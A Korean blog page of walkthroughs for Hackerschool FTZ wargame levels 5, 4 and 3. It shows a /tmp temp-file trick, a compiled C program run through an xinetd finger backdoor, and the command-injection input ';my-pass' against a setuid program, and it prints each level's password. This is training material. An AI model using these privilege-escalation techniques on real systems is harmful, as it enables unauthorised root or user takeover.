반응형
반응형


해커스쿨 FTZ [LEVEL5] 풀이


M4ndU




해커스쿨 FTZ [LEVEL5] 풀이입니다.


ID | level5

PW | what is your name?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level5

level5@192.168.31.128's password:

[level5@ftz level5]$ ls -l

total 12

-rw-r--r--    1 root     root          129 Mar 23  2000 hint

drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html

drwxrwx---    2 root     level5       4096 Jan 16  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

/usr/bin/level5 프로그램이 /tmp 에 임시 파일을 생성한다고 합니다.
일단 /usr/bin/level5를 실행해 보겠습니다.

[level5@ftz level5]$ /usr/bin/level5

음.. /tmp로 가볼까요?

[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -l
total 0음... 아무것도 없네요. 아마 임시파일이라서 생성되었다가 사라지는 것 같습니다.

그럼 직접 /tmp에 level5.tmp라는 파일을 만들어두고 /usr/bin/level5 를 실행하면 level5.tmp에 덮어쓰기가 일어나지 않을까요?
한번 해봅시다.

[level5@ftz tmp]$ cat > level5.tmp
hi
[level5@ftz tmp]$ /usr/bin/level5

cat 명령어로 level5.tmp를 만들고 /usr/bin/level5를 실행했습니다.
그리고 다시 level5.tmp를 cat명령어로 보면?

[level5@ftz tmp]$ cat level5.tmp
next password : what the hell

다음 패스워드가 뜨네요!

가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL4] 풀이


M4ndU




해커스쿨 FTZ [LEVEL4] 풀이입니다.


ID | level4

PW | suck my brain


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level4

level4@192.168.31.128's password:

[level4@ftz level4]$ ls -l

total 12

-rw-r--r--    1 root     root           50 Feb 24  2002 hint

drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 Feb  6 22:17 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level4@ftz level4]$ cat hint



누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


일단 /etc/xinetd.d/로 이동을 해야겠네요.


[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l backdoor

-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor


정말 백도어가 있네요.

cat 명령어를 통해 백도어를 봅시다.


[level4@ftz xinetd.d]$ cat ./backdoor

service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


finger 서비스로 실행되는 백도어이며,
level5의 권한으로 /home/level4/tmp/backdoor 을 실행시키는 것 같습니다.

해당 경로로 이동해서 확인해 봅시다.

[level4@ftz xinetd.d]$ cd /home/level4/tmp
[level4@ftz tmp]$ ls -l
total 0

아무것도 없네요..
그럼 우리가 직접 my-pass를 실행하는 파일을 만들어야 할 것 같습니다.


[level4@ftz tmp]$ vi backdoor.c

#include <stdio.h>

#include <stdlib.h>


int main(void){

        system("my-pass");

}

~

~


i를 눌러 삽입모드 에서 작성하시고 esc를 눌러 명령모드에서 :wq를 입력하면 저장됩니다.

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

backdoor라는 이름으로 컴파일을 합니다.

이제 finger 서비스를 시작합니다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".


다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ





반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL1] 풀이  (1) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL3] 풀이


M4ndU




해커스쿨 FTZ [LEVEL3] 풀이입니다.


ID | level3

PW | can you fly?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




level3@192.168.31.128's password:

[level3@ftz level3]$ ls -l

total 12

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


소스코드가 나왔네요.


어떤 일을 하는지 봅시다.


int main(int argc, char **argv){


인자값을 받습니다.


strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");


cmd = "dig @"+argv[1](우리가 입력한 값)+" version.bind chaos txt"


system( cmd );


cmd의 값을 실행합니다.





find 명령어로 autodig를 찾아봅시다.


[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig


있네요!


이제 이동해서 autodig에 줄 인자값을 생각해 봅시다.


아까 hint내용을 더보면 이런게 있다.


- 동시에 여러 명령어를 사용하려면?


세미콜론 ; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.


- 문자열 형태로 명령어를 전달하려면?



큰 따옴표 "" 를 사용하면 된다.

그럼 이 둘을 사용해 패스워드를 알아보자.

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

;my-pass를 넣음으로써 cmd의 값은 dig @;my-pass version.bind chaos txt이 되었고
dig @;가 실행되어 dig: Couldn't find server '': Name or service not known 라는 오류가 떴고,
my-pass가 실행되어 Level4 Password is "suck my brain". 가 출력되었고
version.bind chaos txt는 무시되었다.


바로 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts